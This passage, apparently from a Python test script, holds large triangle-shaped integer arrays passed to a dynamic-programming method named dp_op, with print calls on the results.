,86,-62,73,-93,47,-66,-1,-6,78,22,87,37,-16,90,-5,34,13,-7,79,-11,93,4,-13,37,74,-17,-60,29,77,0,63,64,14,13,47,-61,47,-53,32,2,68,20,-60,-70,-13,11,40,76,80,19,-35,73,99,29,-13,50,-88,4,-21,65,80,-58,29,-5,54,-23,33,-22,0,-35,80,-55,61,96,-26,-52,-16,90,-98,-35,9,-57,-85,-15,71,2,-65,59,-94,13,25,85,31,-46,-43,-14,7,89,63,-93,-68,20,-48,92,16,2,-82,-99,-7,-81,-35,78,-39,-21,-36,-90,57,-25,68,39,88,-30,2,19,1,58,81,-92,48,22,91,79,-58,-80,48,35,21,65,35,90,60,76,46,98,-68],[86,84,66,-39,52,5,-51,99,-93,45,0,65,3,7,-10,-75,-25,-31,-56,-6,93,55,92,36,-33,59,-4,-57,5,-29,-49,-9,-45,-83,52,84,-1,77,83,5,-1,-17,-53,-97,66,36,-96,-81,81,-76,12,75,78,-19,11,-55,-59,83,-36,45,-68,-8,-86,-14,-15,65,-53,83,19,-93,-11,-81,-11,12,97,-67,-51,-99,-72,-70,-98,39,81,79,97,-8,-98,-62,-47,-58,59,-16,33,72,46,-81,14,93,-98,-66,99,-33,-71,-34,79,-74,-25,-72,-97,2,-66,-96,-82,-84,60,-85,-16,61,-71,13,-97,65,96,13,14,20,31,-94,-10,32,-84,-34,76,-56,8,55,-54,82,59,-52,-39,69,-71,-21,61,65,-30,-54,26,-24,58,5,-82,32,94,8,-71,25,13,18,-65,28,83,-89,48,-31],[42,93,-49,-22,-81,-11,-76,-76,44,85,88,90,-69,-9,-34,65,95,-40,-26,67,68,2,-8,-42,96,3,86,57,13,11,-74,-68,5,-47,-14,0,41,10,23,-15,-5,11,-24,2,-98,18,-56,73,55,18,40,23,96,-67,57,93,35,20,27,-74,-68,52,-66,36,-95,-3,-87,46,-93,35,-92,-22,-54,-17,79,-76,78,99,96,33,17,14,-67,-9,23,89,-39,-65,10,87,-40,41,16,-29,-46,20,67,-34,-57,50,77,-49,-72,-77,10,83,-54,-12,82,-81,-79,-23,32,-70,44,-45,-80,-95,-10,6,68,26,-53,-16,73,-23,-96,40,19,-76,-33,-4,-26,-6,-5,83,-46,17,-51,-63,35,-54,-10,-55,-24,-66,-1,-28,-62,65,77,82,-8,-99,-34,-58,-23,-54,82,95,-31,-74,-32,19,20,62,-20],[50,-21,28,86,90,50,-24,-65,-74,9,11,-3,23,-24,-26,5,44,-49,47,86,27,93,45,-1,-61,47,43,58,-56,5,-85,94,60,42,80,51,-31,-66,62,-5,19,-27,68,-57,26,-80,24,-53,-30,-28,-90,74,-58,31,-50,-20,-21,93,-85,22,-25,-71,16,-64,47,-26,63,-83,-16,25,-12,-97,75,-44,-55,-22,-48,69,1,22,-82,11,-27,-41,-81,22,38,-3,-8,53,96,67,58,-11,79,6,39,42,22,-77,-56,-90,-74,95,-58,-53,-27,-6,92,74,92,-90,-38,-58,-32,-20,40,83,54,-67,13,50,99,-29,-84,55,76,55,-3,-25,77,17,-39,79,13,3,-73,62,73,-81,13,42,-71,51,83,-27,-68,23,-44,62,32,68,-11,31,-83,4,-14,92,-64,59,-32,-86,-46,28,92,66,-92,95],[5,80,-85,95,-1,-57,46,-18,-8,77,82,48,16,14,-7,-95,-77,9,9,-15,-21,44,-78,23,34,-25,-72,4,-82,-64,-1,22,92,13,17,-31,32,-59,50,-75,94,9,49,11,-76,-81,15,-54,28,-99,30,83,45,28,6,-44,-97,10,59,-80,45,-64,19,15,25,-87,83,-42,-47,10,-41,-52,-80,84,58,-80,-97,-50,-35,7,-49,71,-10,72,0,72,-72,-21,-17,64,-1,-95,99,-82,-4,24,-70,-21,58,-40,66,-83,7,62,77,-58,81,80,-9,-77,-13,18,70,54,-10,-53,26,18,26,-91,-18,-75,90,-42,-81,-14,81,-75,42,40,-16,8,33,67,-53,11,-91,-72,-32,-23,-73,54,94,96,-15,-15,-56,-88,79,69,96,-62,70,86,-5,65,-27,-47,89,91,69,-26,-1,3,-82,45,90,-73,49],[-42,3,75,-88,-26,71,-26,35,91,-15,14,37,-42,51,-16,-78,-77,-51,-29,-24,-84,-38,-55,-34,37,24,-17,-41,14,9,84,71,88,59,60,-60,7,-66,74,-24,-5,-11,-87,29,-83,-3,50,-83,22,97,-8,37,-41,13,-97,72,-85,-14,-69,28,71,-85,-23,37,50,-86,76,-65,-53,50,10,18,-84,-1,-76,-90,72,51,-74,-5,48,-6,-91,84,-93,-88,56,-79,-26,64,26,-55,55,-97,58,6,92,34,40,-84,-38,-73,33,-46,25,33,-37,-2,-16,-12,92,-67,81,-99,-83,65,88,49,62,-38,13,-12,-16,-54,-33,-81,51,-41,53,-32,-26,91,-6,83,-55,-81,17,8,-7,-99,72,-38,-90,54,-60,-97,19,-72,52,-19,-33,-58,46,27,-13,-87,45,-62,-51,-25,-18,22,-34,52,-17,-12,48,99,72,-59],[76,44,3,86,-2,42,88,93,46,17,-25,-87,59,97,16,-54,86,-61,-39,-65,13,42,34,56,-28,-83,-56,-80,92,-84,-40,45,59,62,31,-65,-19,-3,-72,-72,-86,-21,-83,72,-24,10,95,-37,48,-67,-26,-39,51,-92,-83,-77,-99,-63,-58,69,-71,2,15,65,-59,-77,99,22,19,-96,26,10,-17,42,-41,35,-71,-46,74,76,-14,-51,-62,-62,-67,-69,-63,-66,-55,-21,79,-27,80,-6,-62,-79,17,-86,19,-87,-82,-55,22,-23,64,81,88,92,-88,63,69,-25,88,83,-11,97,-86,25,-92,-65,-96,87,8,60,-19,45,81,74,36,-23,87,53,22,-14,-70,-37,-56,-82,-45,-44,57,-99,7,22,60,72,20,51,-3,27,85,-22,14,-7,-62,72,-84,95,46,51,-27,33,-19,71,96,-13,-66,-60,-19,-35,-5],[-61,-57,78,60,-97,50,-43,30,-75,84,16,2,-2,85,16,-30,-99,12,93,28,61,3,-91,9,-1,-5,19,39,76,60,-89,91,79,89,28,59,16,85,-11,40,69,-95,-81,-56,67,35,-9,67,-76,-16,-27,61,86,-19,-30,-14,53,65,-98,6,25,-88,-3,5,77,-75,-36,-6,86,52,-89,55,34,-70,76,1,64,-33,-55,64,27,17,25,13,75,71,75,5,36,53,-89,-39,42,-16,42,19,8,-94,89,-5,35,-99,-73,-54,-93,-97,23,70,-54,44,11,72,-61,-64,-14,90,83,-62,-5,19,91,-18,56,33,65,-1,-71,-27,-19,-81,44,92,95,48,-85,-98,50,37,48,96,-41,-64,68,-3,-52,-69,-13,-69,-54,81,26,-86,-37,-18,46,-95,57,51,-23,-84,46,98,84,41,46,99,19,-27,13,-56,-31,71],[-21,-85,-55,26,-78,31,56,-33,-11,-18,-43,28,41,79,32,-25,31,86,-33,-23,84,-48,95,7,-72,-9,79,17,35,-74,-34,90,-83,10,17,-85,-58,-50,-18,7,9,15,-64,-73,-5,44,1,-74,30,68,-21,-9,96,-49,97,-76,42,54,17,-46,79,82,-79,72,-7,37,86,11,64,-55,94,-50,60,-70,-24,-45,74,53,-20,-19,-2,35,72,-6,86,69,-6,5,23,88,58,-21,70,55,-49,-60,-30,-62,27,-66,-41,22,-17,-81,51,35,-27,2,-35,29,83,63,-58,55,-66,-72,1,5,9,-98,-7,-56,-20,-60,98,8,-20,-32,22,-93,1,80,28,60,99,-43,-28,-51,35,37,55,-5,-23,73,-73,10,-99,28,91,-14,29,-16,29,85,24,27,-7,80,95,91,86,-27,72,-8,-89,48,25,-18,73,-63,95,5,32],[-28,-22,58,59,-45,-37,50,40,68,-88,-31,54,12,73,-76,-8,45,-84,-45,-82,87,23,-95,12,-52,-36,-15,-15,-41,90,93,8,-55,51,-33,0,91,93,-83,59,-95,-14,-10,16,-64,14,84,80,6,-60,74,-30,62,79,81,87,-80,-57,-51,-22,-90,-58,62,-45,69,-71,31,60,99,47,-3,-96,-90,86,-3,-55,-23,-19,-98,82,20,76,-48,-40,32,-67,-76,51,-47,-51,-94,-38,-10,68,-7,-64,73,-76,73,72,48,-30,76,57,-67,-27,79,10,30,80,-8,-72,56,21,-13,-35,30,-13,-84,82,35,-78,-78,-98,89,14,-63,39,15,86,12,-37,-67,-35,96,-34,14,75,75,-56,56,-56,-29,-11,64,34,31,-5,-79,46,-46,32,44,-25,33,10,66,47,-50,-42,33,38,20,66,-97,-7,-91,16,-31,60,36,-98,-96,-92],[-33,45,18,97,-83,39,21,-30,-52,-35,22,81,52,-35,28,78,22,-62,16,-58,80,18,11,88,-89,79,48,46,57,29,53,-75,-49,-51,98,-33,87,-4,13,-88,38,-88,92,-10,-24,-3,-32,97,35,83,-84,15,-22,27,-19,-12,6,-71,-66,-59,34,64,-58,84,-87,-60,-49,76,13,41,87,-49,52,57,17,-71,-46,84,-97,65,44,-81,-19,98,45,61,-14,-72,66,-4,-55,1,-63,-14,-15,-51,3,13,-98,-84,-46,89,-57,82,23,59,87,76,43,90,42,-36,85,99,-38,30,37,24,34,-20,96,79,80,-66,-35,-57,-18,44,32,-39,59,85,-73,-98,44,49,37,32,2,-43,-1,-79,20,-16,96,58,-86,33,-41,24,90,-44,-20,47,-11,22,89,47,-34,21,-92,-97,-17,-66,80,-95,59,18,36,-38,74,-65,-18,-5,18],[-21,-70,8,88,-11,-91,55,21,-11,3,-90,-89,-8,33,-24,90,18,-22,-50,28,-64,-46,-12,53,66,26,27,-99,-92,98,-5,-37,-94,79,-71,-29,88,83,91,-46,-14,77,-36,55,-13,16,22,-95,71,71,33,-93,-97,97,59,68,23,-37,46,7,-38,-59,70,-33,97,75,37,62,58,5,-84,-78,-41,-44,53,45,71,-25,50,42,-77,-17,48,-75,-20,-16,93,-97,47,39,9,85,56,-44,-48,30,-69,65,-8,66,-53,-16,64,5,39,17,-50,11,91,99,-47,-86,-41,78,-84,15,-38,-91,-6,85,24,-96,70,-43,-64,98,87,-56,63,-44,86,86,40,50,-9,-44,-33,41,66,-65,17,96,-75,76,51,-60,-32,-87,-75,62,75,25,65,45,82,77,44,46,97,-16,78,83,-29,-5,33,61,51,76,-21,17,-89,73,-10,-87,49,-59],[-48,-83,-69,-23,55,-94,78,20,50,37,-25,-6,-17,-28,78,-61,-44,-51,33,65,86,-39,42,-57,55,29,-84,-55,41,41,-14,93,34,-7,-53,-10,-2,-75,86,-75,62,-39,19,-78,10,-26,-63,65,-1,70,7,-38,-92,-51,4,62,55,19,-92,-4,-63,-30,-34,71,62,-11,-39,-63,-9,-53,-39,-70,-15,56,-72,94,-93,-35,36,-18,-88,-57,44,-81,-31,-75,58,-99,21,65,-27,57,-88,16,5,50,-95,65,86,-28,89,-76,-22,-26,57,6,-55,63,47,80,-77,35,99,66,30,-55,67,-12,-55,-12,-70,18,-77,-59,-66,27,90,-85,-30,53,-36,-41,54,41,9,11,-76,53,-49,47,10,-27,-18,-14,-84,89,31,60,-23,52,-75,7,-53,-53,24,-20,74,-8,-28,-79,-55,12,-21,98,-70,87,-14,-46,17,14,77,-96,63,-63,-11,56,-74],[96,16,-21,49,40,85,72,87,-13,-47,38,78,1,35,-77,89,-86,98,-81,77,-39,-51,-29,74,-73,-26,38,-37,39,-6,-35,36,86,43,-38,26,6,-66,-10,92,-37,-95,70,40,39,69,29,29,44,48,-17,-94,96,53,79,99,-73,-6,-61,43,64,3,-21,50,-76,17,-46,29,27,20,21,67,2,-32,7,-82,-63,-86,47,81,38,-70,63,11,83,19,11,86,-86,49,29,54,-70,84,-18,-47,-22,12,81,82,-68,-21,49,10,23,-67,28,36,-54,-25,-6,83,-19,-43,-5,-59,76,82,-95,66,8,10,20,37,-5,78,89,49,-10,47,31,-1,-97,-20,-91,25,-10,13,-38,35,64,55,-4,-54,89,67,-37,65,49,-33,31,-43,77,-72,71,-51,83,60,74,-50,-15,6,48,-36,62,34,89,-48,-53,-72,64,88,59,-63,-66,48,-96,-27],[-10,52,40,-79,85,-6,-74,56,19,85,-6,-7,-65,55,75,60,-81,15,-29,84,66,-6,-88,7,-18,71,43,-8,-4,46,65,86,-25,-18,83,-62,52,85,70,-29,70,-36,40,82,95,16,42,-85,-69,-87,98,73,-17,87,-42,65,58,-99,-43,-69,24,-78,-83,98,-20,-99,-87,-68,85,83,2,33,-76,-80,15,-80,12,-43,-89,42,-54,85,-8,28,72,49,-30,7,27,27,38,-49,25,54,-74,82,54,-61,-86,17,-78,-7,-50,-78,12,64,-59,-76,97,-72,42,-57,-86,-89,47,85,60,94,-7,-13,-2,-69,14,99,61,39,81,16,77,95,-90,75,-35,-41,97,53,-77,-85,53,96,-57,-5,-84,-67,-18,62,-82,-58,33,-13,5,-69,-6,95,-69,-44,35,-88,48,12,83,57,-35,-75,-84,-61,77,-85,-47,30,-89,-28,-98,-74,-19,-16,64,-1,2],[-2,62,84,5,-43,79,35,12,14,24,-63,-96,-16,93,-32,9,-91,6,-14,99,35,-83,-90,84,94,-65,-35,-22,75,40,80,-27,3,41,78,36,20,-10,-75,-65,-86,-39,-85,-2,-46,-41,83,-61,64,-31,-62,-24,-38,-76,-40,-43,-42,25,11,-90,-58,-32,-40,44,-91,-62,-43,29,4,-19,40,-5,18,54,69,71,-87,52,86,53,-79,-76,-71,-40,-53,-34,16,-19,67,-73,-9,-91,-28,50,30,-20,64,86,-91,-32,-55,48,39,62,-21,8,11,-9,-40,-3,-79,-19,21,-73,40,44,-8,-67,-74,-64,-64,-7,-79,7,-80,50,87,83,14,72,-72,35,-2,67,-26,76,-25,84,-55,35,-18,-35,92,79,-9,9,0,59,18,25,94,53,94,-84,-39,-86,42,-75,73,-67,96,-98,67,-6,45,-58,-52,96,-97,-8,31,-39,33,0,-60,-98,85,40,37,3],[-58,9,-43,-63,1,-6,-73,-57,18,-99,-47,-9,78,-80,62,23,-62,-90,19,-82,-22,-72,-22,87,4,18,88,-10,-65,26,92,-47,-88,-74,-34,12,19,-7,31,-86,-30,83,5,-52,80,-33,70,94,-47,-34,-88,30,-30,-10,17,74,84,-17,-59,-81,85,-67,-29,96,-41,14,8,54,-93,-61,68,-24,99,-50,0,79,-7,-53,73,45,12,62,-48,82,-48,68,33,-64,-72,73,-69,-87,82,-22,85,-59,91,-7,72,74,9,17,-73,-15,66,26,-36,-41,72,-86,-96,-15,52,-45,-56,-96,99,53,-84,-72,26,-77,-83,8,-22,-97,26,-31,-28,-25,-79,57,91,-53,-58,57,73,-18,-84,22,-27,95,83,-75,-73,-73,-94,-97,56,-79,-93,-18,-79,-76,67,-2,-97,-30,66,-26,44,63,-68,12,-89,-50,-31,60,32,-39,-18,-95,-67,-34,-71,-41,-31,-66,-62,-74,-68],[-55,-16,-48,-32,-72,49,-53,-3,-8,20,-82,-44,28,6,-57,78,74,-97,-13,-88,-39,-9,-79,26,-4,-21,72,30,-6,97,38,38,-19,89,82,-14,15,-71,82,-93,25,77,-61,-69,-17,-42,85,-65,-40,-28,-77,-2,62,-56,-76,-65,-1,95,64,92,69,2,30,-72,-32,-11,13,82,17,-28,66,-80,-51,81,-50,9,-60,-65,20,-24,-17,42,73,-78,85,74,-44,-38,46,-79,-46,16,-1,61,20,44,-50,-67,3,67,4,-54,63,30,-72,-87,-84,-56,-76,35,19,6,-46,-30,27,-83,-56,82,-22,89,79,8,-18,-44,-31,-98,99,19,-89,-21,-37,-8,25,-74,-78,29,-85,-86,72,-62,48,-32,43,78,37,-30,94,57,-71,-28,24,-91,80,82,-36,-51,84,-37,44,71,41,83,-37,-57,85,-16,71,99,-26,20,-63,-78,88,56,-99,2,-74,71,-40,-45,-56,60],[-37,-99,42,3,-74,3,42,70,-25,-40,30,37,3,16,98,-49,15,-28,71,29,-29,36,-15,-52,-62,-12,-81,-26,42,-38,-66,81,-61,76,-39,-35,-21,-97,-88,30,-38,41,-32,64,-66,-57,-84,49,14,63,-45,84,-1,39,-68,36,-73,-72,87,45,-34,-79,3,5,73,63,69,-70,65,80,59,-95,-2,-96,68,32,-54,60,-42,37,23,12,21,98,-72,30,35,-45,34,22,76,99,19,-20,4,-7,-80,-50,22,62,-93,-42,66,5,-38,11,-86,-16,-51,-29,-79,48,59,19,47,86,-74,-41,-82,59,80,94,58,-24,-49,-60,68,-30,-11,-33,-91,-4,2,74,-99,40,-37,-86,-76,11,-39,-78,-41,-80,40,82,-94,65,-59,-76,24,97,94,-41,-26,-55,-2,-81,-9,87,-37,0,-17,64,-26,-40,-19,13,-50,4,-76,-13,2,-40,6,-58,-58,-12,83,-17,11,7,-43],[5,43,30,26,-59,26,-82,-95,88,17,-36,29,67,0,86,-42,49,-33,-19,-64,69,17,18,-89,59,-93,94,-81,-6,-22,-25,76,-79,82,2,-61,-15,-4,-80,-27,89,-16,78,34,83,64,91,10,-92,-28,22,76,66,-59,87,25,-76,58,20,17,-64,71,-30,-66,30,72,-51,-85,-55,-32,-36,-65,28,-81,68,12,59,36,-78,67,84,20,43,50,60,30,-25,83,-12,71,-22,1,20,47,11,-50,-4,36,-35,41,80,28,52,9,24,-3,97,-17,-67,95,-50,-83,15,93,67,-24,0,-81,-64,65,90,13,-34,-13,-62,53,36,33,-11,-99,-49,-31,6,-97,54,-70,-1,51,12,31,46,39,25,-38,32,-8,14,-68,-13,26,96,-46,-60,-61,40,-46,68,-23,86,-66,-46,-62,-20,59,-83,-66,65,-7,62,-45,-76,8,93,25,46,2,-83,-63,33,4,63,7,57,79],[22,-25,-67,-9,51,-81,24,-95,-67,-96,41,-73,-85,-17,19,76,37,19,-39,7,-55,84,-91,-62,-79,42,18,83,-74,-47,62,47,27,71,-62,-22,67,39,-41,99,19,99,-97,10,-40,21,-14,96,-82,24,-19,-38,8,-11,-24,28,-92,94,-11,-67,-53,-72,57,50,99,94,-72,66,10,-37,42,-70,-37,45,39,22,-57,-97,-5,-63,3,75,-25,-89,-58,51,15,-51,22,80,-41,45,-91,-84,-5,84,86,-1,27,-3,61,-31,3,-99,90,-81,22,-89,97,94,-53,0,46,22,-13,87,-27,79,-86,71,59,-28,16,44,-36,-89,5,-50,9,-68,46,-53,1,-74,-52,-32,-78,46,-22,-81,40,2,-4,-36,-76,82,-49,-27,61,-59,-56,-2,12,59,-81,52,46,24,-97,-68,55,25,-22,-67,51,25,1,72,-28,78,67,88,-43,-37,-48,-20,-54,-20,29,83,20,72,-19,-90,8],[-23,61,-69,-99,40,-38,55,-34,17,88,93,-58,-34,42,-10,-79,9,-44,-22,72,7,57,94,63,-13,54,-39,-64,-87,-30,21,-11,-92,51,-11,25,-86,-79,90,7,85,60,48,-49,2,-84,-28,87,-29,49,36,54,-17,30,18,46,-38,78,82,-26,-75,3,62,-91,-69,-49,33,-79,-29,0,27,-43,-40,-47,-16,38,-32,55,26,15,-19,-38,-31,41,69,86,-13,-69,41,-54,-19,65,25,-57,51,56,-7,-16,76,40,84,4,73,-79,33,-42,59,-99,89,-15,15,-29,23,60,-88,-31,47,-25,-24,-35,21,56,-92,-54,98,58,78,-32,-58,55,85,-97,-64,58,-76,68,92,82,45,82,-56,-63,-70,43,96,-82,-87,20,-31,-35,85,89,-78,92,-87,96,50,90,-58,68,45,-73,48,57,61,71,25,31,30,-53,-10,73,-17,-4,-7,-20,13,-18,99,81,47,84,48,45,53,60],[18,-20,27,59,-51,-50,62,96,-93,1,44,9,-68,-26,55,-2,-76,-61,93,-7,-5,-17,75,-6,-59,22,-44,65,-33,85,25,61,-34,-70,21,-9,-21,-40,-36,-38,60,-92,70,68,-42,3,-57,-42,18,-64,50,-87,-5,25,-17,36,-76,38,1,-33,24,-96,-71,66,-90,26,-43,-12,85,20,26,23,4,-26,-32,38,76,11,72,-29,23,22,-17,95,-75,65,8,-52,-19,85,15,81,65,20,47,74,-54,80,-61,-92,-23,65,30,57,-61,75,-5,91,-14,-33,-38,85,65,44,80,89,-14,-35,-85,43,-49,6,24,-84,-74,-52,90,-52,-95,-94,-45,-19,70,85,-62,-91,60,9,99,-77,52,-39,84,-5,81,42,-39,-32,-93,-25,87,-66,57,12,-50,82,36,-83,-93,41,-78,-38,98,92,-53,-63,77,83,22,54,82,-48,-85,66,46,73,8,-93,-82,-8,-41,-95,25,-84,-7,51,75],[-70,67,81,47,66,-57,45,35,-34,58,-11,-74,-19,-57,-92,32,-65,51,-45,-92,-64,-39,-98,27,19,-94,-70,12,-24,80,-13,5,25,-55,-48,-9,-35,73,-97,30,32,-9,33,89,34,40,21,45,-32,75,52,4,-87,30,-92,9,35,-63,-79,-89,94,-16,-8,19,5,20,86,69,-6,65,-23,-97,-44,-90,91,66,26,12,11,94,-36,-60,-25,-47,69,-18,61,-18,-4,58,-31,-10,-58,61,85,47,-42,48,-7,51,13,69,53,68,55,44,12,-18,-67,99,-47,-27,-60,4,3,85,85,-36,-33,-42,-77,36,47,-59,-26,9,64,31,-43,-65,-40,69,-96,89,15,36,11,-96,-82,20,-97,-53,93,-81,50,-4,-95,12,36,-52,70,35,60,-6,53,-66,-96,-6,65,-63,28,-98,83,32,90,-25,-32,1,-22,-38,-78,-20,-15,91,-24,-88,-36,-20,23,99,4,-30,12,-35,64,-35,-2,44],[58,-60,80,-13,-82,63,95,-91,-62,-60,-14,-8,-22,-16,49,62,-25,-75,73,15,-19,-27,-8,84,43,-96,-51,-16,-32,24,-72,-97,40,84,-11,58,25,-39,66,39,0,-71,-68,77,13,80,16,87,81,-34,-20,-38,39,71,-54,-18,74,-28,65,-81,95,69,-79,35,53,-13,-30,-22,24,-64,94,-75,-35,-74,78,54,82,-5,18,63,60,97,-98,-24,68,-53,57,19,-5,-1,37,-10,-32,35,-97,98,-78,-28,-47,45,-15,-53,46,26,-28,2,-20,-69,73,97,70,10,95,71,86,40,-81,20,-40,-10,-80,96,80,-36,31,59,-38,29,-92,15,-48,-31,38,97,94,87,-24,-49,-82,-51,-51,88,59,-79,59,45,60,54,-58,96,-55,-39,93,-98,2,1,37,40,-92,44,-45,-41,90,70,-67,84,57,9,-87,74,57,-39,39,-7,-42,-1,-85,94,-70,-43,91,-26,-6,61,-48,95,-38,88,36],[-54,10,67,4,0,37,37,-39,-6,-77,-27,-54,56,10,84,-73,44,-17,-59,16,-10,-3,7,40,68,-55,92,63,6,57,-24,29,-56,-56,-67,20,57,46,58,-48,68,-92,-3,2,-5,-19,28,-61,41,45,54,-69,-57,-62,47,-89,-18,39,50,65,-26,-73,-6,-6,-53,3,-85,-96,-50,72,-45,94,56,28,-27,-49,86,-99,-33,4,46,97,11,65,-64,-42,52,-6,74,-21,-41,-75,5,29,18,51,-67,32,55,-18,-19,86,-47,-62,-8,26,-35,-45,26,31,58,-51,29,-54,90,41,3,42,-65,-46,-78,-29,-22,3,76,96,-45,-91,5,86,-33,86,49,20,-99,-82,-77,-35,-28,48,73,-93,74,-21,-48,64,96,55,-16,-92,-91,-18,-45,-36,84,-68,-40,-84,-60,64,78,-16,27,28,80,27,45,-97,69,94,27,19,-99,1,74,-47,-57,70,84,26,77,69,-92,-90,-67,68,-59,-8,84,-43],[-66,62,40,60,-33,20,-35,-87,22,-89,83,-50,29,83,27,-20,-64,46,-50,-80,-28,-96,66,-44,-87,98,-75,-47,-32,85,-13,1,47,-73,-62,-85,24,2,-96,-77,-11,86,-51,94,46,76,-26,82,22,23,78,71,4,44,-96,16,20,-95,46,87,66,-67,-35,14,-64,2,5,36,81,-15,59,-30,-52,-92,-58,93,60,15,52,-40,-61,8,-92,19,-71,87,-65,48,92,57,12,58,66,76,-51,-97,-44,30,38,-86,91,-26,-40,-61,-18,1,-90,-81,-83,61,-22,-68,-54,-38,50,-48,-50,61,76,-58,-4,-11,76,-38,-58,-97,-59,-26,32,56,-13,24,-70,24,39,-12,-75,48,7,-59,-13,61,-51,32,-76,75,60,-27,37,37,-9,-67,-97,-33,-29,-56,-54,-11,-5,78,-55,58,-21,-49,-18,-82,39,7,66,-77,24,-70,83,50,38,83,25,-1,-44,-38,-64,46,-29,-62,90,19,-42,-64,-92,52,90],[-71,11,-31,-21,69,-36,94,-24,-93,-83,77,-64,77,27,73,60,-48,-28,93,-9,-16,16,38,21,6,-66,79,19,-59,8,9,-54,95,55,25,65,-81,19,-59,-75,13,94,-63,-10,21,-90,-73,50,-41,-80,-82,42,36,55,-59,-81,66,96,37,-93,4,-53,-47,0,78,54,-35,96,-50,-18,97,62,-23,-66,-71,74,-80,-44,1,-45,-48,-5,74,87,-49,-85,83,-83,-89,20,99,-9,43,-71,67,21,82,-68,-6,-67,-9,-32,71,44,1,-99,-5,-2,-67,73,52,-16,-32,26,-51,18,17,-68,11,27,51,-12,95,-28,-7,62,92,-24,71,-36,-15,-38,31,-44,82,-90,-67,-23,7,-35,-50,-64,26,18,62,74,-87,-44,-94,1,83,33,65,55,-95,-42,17,74,10,-35,-85,94,3,45,-72,-15,31,-63,39,-62,-21,88,-26,-95,-17,-87,78,-27,-32,60,73,-72,-30,15,59,-25,72,-46,-74,-17,18,-60],[-46,-78,61,-42,-17,-7,-5,-78,7,50,87,57,54,-30,46,9,19,91,-31,-31,-81,38,83,55,89,33,-91,91,-84,26,-92,-54,24,69,4,-92,-61,75,-71,22,25,-84,-20,-21,-37,-97,64,58,93,-67,-72,89,47,-89,44,37,43,52,28,35,-22,36,81,79,-18,-38,86,-3,-86,91,-81,15,84,-25,70,-76,-22,34,81,-29,66,-91,-40,13,96,-96,-73,16,32,32,-71,-89,-32,86,66,26,-75,52,-77,-62,43,-59,52,4,-7,22,27,70,-44,9,-59,98,-6,-22,-12,-33,-42,15,83,90,-53,88,77,-9,74,43,-83,98,-28,-84,-87,91,-67,64,-4,25,-37,-77,-5,-5,8,13,-7,-97,67,80,-54,-75,-28,-94,91,-5,93,68,85,67,-12,78,42,59,93,54,51,-96,-5,-76,28,34,-54,-99,-71,31,-10,-2,10,-66,-21,55,-42,27,61,-73,-77,54,71,-92,-1,-40,63,-82,95,56,49],[46,59,-56,69,-35,55,92,-35,83,23,31,-18,-67,64,37,64,98,-36,25,-75,-14,-20,96,-29,55,-67,-66,72,-72,66,21,51,3,42,-3,67,-3,-34,-91,-43,88,39,15,97,-20,-48,39,-22,-7,-36,-20,55,20,-47,-74,-25,-38,-64,-52,-11,-97,45,-83,5,-13,14,-51,60,79,-43,-82,45,72,9,19,-48,61,-42,6,-69,22,62,62,-81,91,88,-6,-47,-99,18,19,-97,-60,35,-16,27,-51,32,-13,-94,88,-19,27,37,90,-54,65,28,4,-28,35,-97,-89,-3,97,-97,-38,-9,-45,-37,85,73,-58,-74,-14,26,29,11,-65,92,16,-76,-49,-57,37,-59,-34,3,45,46,51,-20,25,61,53,22,40,-84,90,95,-45,75,45,-4,77,-69,98,6,42,-66,-24,-65,-66,26,-45,70,66,20,-50,-12,-34,-99,44,67,39,-3,-11,-21,-11,-21,-49,20,-68,96,-83,-91,-96,91,-8,22,-98,67,57,-65],[-7,-88,82,-64,8,-91,23,50,-90,-56,17,25,40,82,-96,-93,-38,-45,26,-7,-72,19,-22,-69,-12,69,53,-11,13,-13,1,-94,-2,-17,-59,82,-9,40,9,-23,83,-74,78,1,84,82,7,-54,-86,-90,15,-59,29,93,-52,-83,39,-99,-18,-47,-13,82,-42,61,-58,-24,20,10,92,-71,86,76,-69,42,-46,-84,24,60,-62,14,46,53,54,-25,23,78,-32,-38,79,50,14,-57,9,49,-95,51,-98,1,-39,93,30,-76,69,60,65,-77,52,-34,59,90,79,6,20,10,57,-57,-11,-97,4,-55,29,95,-13,-62,44,-32,65,45,69,-74,15,-1,-50,-15,-64,91,-16,65,-42,-79,55,-63,26,-25,24,-40,17,-87,-61,97,-66,67,92,20,82,13,88,47,-65,34,73,50,-67,99,-88,-55,90,-28,-90,-52,-8,41,-38,94,92,85,-45,-14,74,-7,-16,-92,-62,-47,4,96,43,-31,43,77,-97,-7,4,-65,-31],[-8,-43,-63,64,-57,-39,-44,84,22,-49,53,-16,-18,-60,-65,51,0,-81,88,29,23,61,-28,91,-18,-73,94,51,7,-94,-79,99,-61,-66,63,-18,-6,-81,-57,93,-31,95,-46,50,-88,-11,2,11,-16,-33,-82,-93,-71,-11,75,-13,-8,46,-62,99,28,-42,98,67,-9,61,-74,62,56,-32,55,-97,-60,-91,29,-48,-26,-69,39,58,-25,56,41,-20,-77,16,66,-9,-61,-96,-10,67,-61,-35,34,6,-97,59,-32,59,-96,-77,61,-57,-91,-10,-29,-18,-2,87,-60,49,20,81,-94,42,-26,71,-89,13,51,0,-20,66,65,90,-27,44,49,17,3,29,40,-59,71,25,8,-80,-93,82,-93,-53,8,26,-95,13,-54,-22,-39,-44,90,-88,32,-30,78,-26,-40,-72,-81,85,44,-2,14,-39,16,-37,85,-99,-18,92,59,-35,-84,-33,67,-80,56,89,-26,-83,-78,-35,-72,54,11,82,-95,71,86,99,33,31,-25,-75,68,67]])) print(s.dp_op(t)) print(s.dp_op([[46],[43,61],[10,-16,3],[-26,41,36,-72],[-28,-76,-22,26,51],[56,-53,38,67,86,-45],[58,53,47,-52,-54,-95,56],[-54,-93,58,68,26,-4,-45,86],[75,28,27,12,33,98,35,87,1],[-13,20,25,-98,-13,11,-44,-77,-59,-97],[-53,-14,83,80,31,89,38,-1,15,-88,53],[-22,86,-41,-94,-25,68,-96,87,55,-18,-49,-25],[-93,-48,39,17,8,61,57,-13,-92,-79,-29,87,51],[-63,3,-72,29,-9,57,-93,-46,-84,88,29,83,69,-7],[15,-49,43,90,-43,94,29,50,-21,-33,-16,43,-26,4,90],[-61,-67,-96,18,-63,32,-91,93,16,-61,86,4,67,46,-27,-63],[-38,0,79,-48,56,51,80,-17,-70,-53,67,49,-3,-52,39,12,-43],[43,-93,-7,-48,91,-13,44,-69,-27,-74,74,95,-25,-88,-43,75,90,8],[8,41,-35,91,48,-12,35,-3,62,59,-86,-49,-83,56,-42,-14,84,-74,72],[6,-44,-78,31,-92,-82,-94,-81,-49,57,85,36,-34,4,77,-66,-71,-34,45,25],[-95,4,15,-45,-3,-52,-11,83,-67,15,32,38,47,54,-54,54,48,-72,72,